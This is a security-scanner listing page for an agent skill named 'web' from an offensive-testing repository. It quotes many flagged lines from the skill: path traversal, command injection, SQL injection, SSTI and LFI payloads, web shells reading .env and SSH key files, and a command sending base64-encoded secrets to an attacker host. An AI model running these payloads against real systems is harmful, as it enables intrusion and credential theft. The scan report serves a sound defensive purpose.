← All skills
web
69 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Web application exploitation — the primary category skill for all web-based attacks. This is a routing skill: read this first to identify the attack type, then load the appropriate specialized sub-skill for detailed procedures. Covers 11 technique areas across injection, file access, authentication, and API exploitation.
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
This is disclosed by the author in the skill's SKILL.md or README.
Found in 500 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md, line 78
curl -s 'https://<TARGET>/file?name=../../../etc/passwd' | grep 'root:' - packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md, line 81
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' | grep 'uid=' - packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md, line 84
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_test.txt - packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md, line 87
curl -s 'https://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>' - packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md, line 90
curl -s 'https://<TARGET>/graphql' -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}' - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 47
curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 48
curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c " - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 65
curl -s -c unauthenticated.jar https://<TARGET>/api/me - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 66
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>' - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 67
curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>' - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 86
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 96
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 113
curl -s -o /dev/null -w "%{http_code}" -b basic.jar \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 127
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 132
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 139
curl -s -b basic.jar -X POST https://<TARGET>/graphql \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 146
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
and 480 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 213 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 86
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 96
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 111
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 127
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 139
curl -s -b basic.jar -X POST https://<TARGET>/graphql \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 159
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 173
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ - packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md, line 215
grpc_cli ls <TARGET>:443 --l # requires grpc_cli - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 24
probe() { - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 46
cat > /tmp/probe.sh <<'EOF' - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 131
hex() { python3 -c "import sys; print('0x'+sys.argv[1].encode().hex())" "$1"; } - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 145
LEN_HEX="" - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 174
LEN=18 - packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md, line 199
payload="x\"||LENGTH(${EXTRACT_EXPR})>0#" - packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md, line 22
curl -s -X POST 'https://<TARGET>/register' \ - packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md, line 43
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n' - packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md, line 69
for h in 'X-Admin: true' 'X-User-Role: admin' 'X-Forwarded-User: admin' \
and 193 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 20 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md, line 26
cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null - packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md, line 41
[ "$resp" = "200" ] && echo "Found at /$dir/shell.php" && curl -s "http://<TARGET>/$dir/shell.php?cmd=cat+/.env" - packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md, line 95
curl -s 'http://<TARGET>/uploads/shell.jpg?cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md, line 101
echo '{{ config.__class__.__init__.__globals__["os"].popen("cat /.env").read() }}' > shell.html - packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md, line 105
echo 'require("child_process").execSync("cat /.env")' > shell.js - packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md, line 112
curl -s 'http://<TARGET>/uploads/shell.php?cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 102
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \ - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 186
curl -s 'http://<TARGET>/page?file=php://input' -d '<?php system("cat /.env"); ?>' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 193
curl -s 'http://<TARGET>/page?file=expect://cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 202
curl -s 'http://<TARGET>/page?file=../../../var/log/apache2/access.log&cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 203
curl -s 'http://<TARGET>/page?file=../../../var/log/nginx/access.log&cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 206
curl -s 'http://<TARGET>/page?file=../../../var/log/httpd/access_log&cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 207
curl -s 'http://<TARGET>/page?file=../../../proc/self/fd/1&cmd=cat+/.env' - packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md, line 217
-H 'User-Agent: <?php system("cat /.env"); ?>' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 213
curl -s "http://<TARGET>/page?input={{config.__class__.__init__.__globals__['os'].popen('cat /.env > /tmp/env_out').read()}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 226
3. If no file-serving path: use DNS/HTTP callback (`curl http://<ATTACKER>:PORT/?f=$(cat /.env | base64)`) — set up listener first with `nc -lvnp <PORT> &` - packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md, line 42
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
Downloads and installs other software
The author does not mention this.
Found in 2 places.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'web' ] || [ -L ~/.agents/skills/'web' ]; then echo 'A skill folder named web already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web' ~/.agents/skills/'web' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'web' ~/.claude/skills/'web' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 69 |
| 2026-11-08 | df87955 | 69 |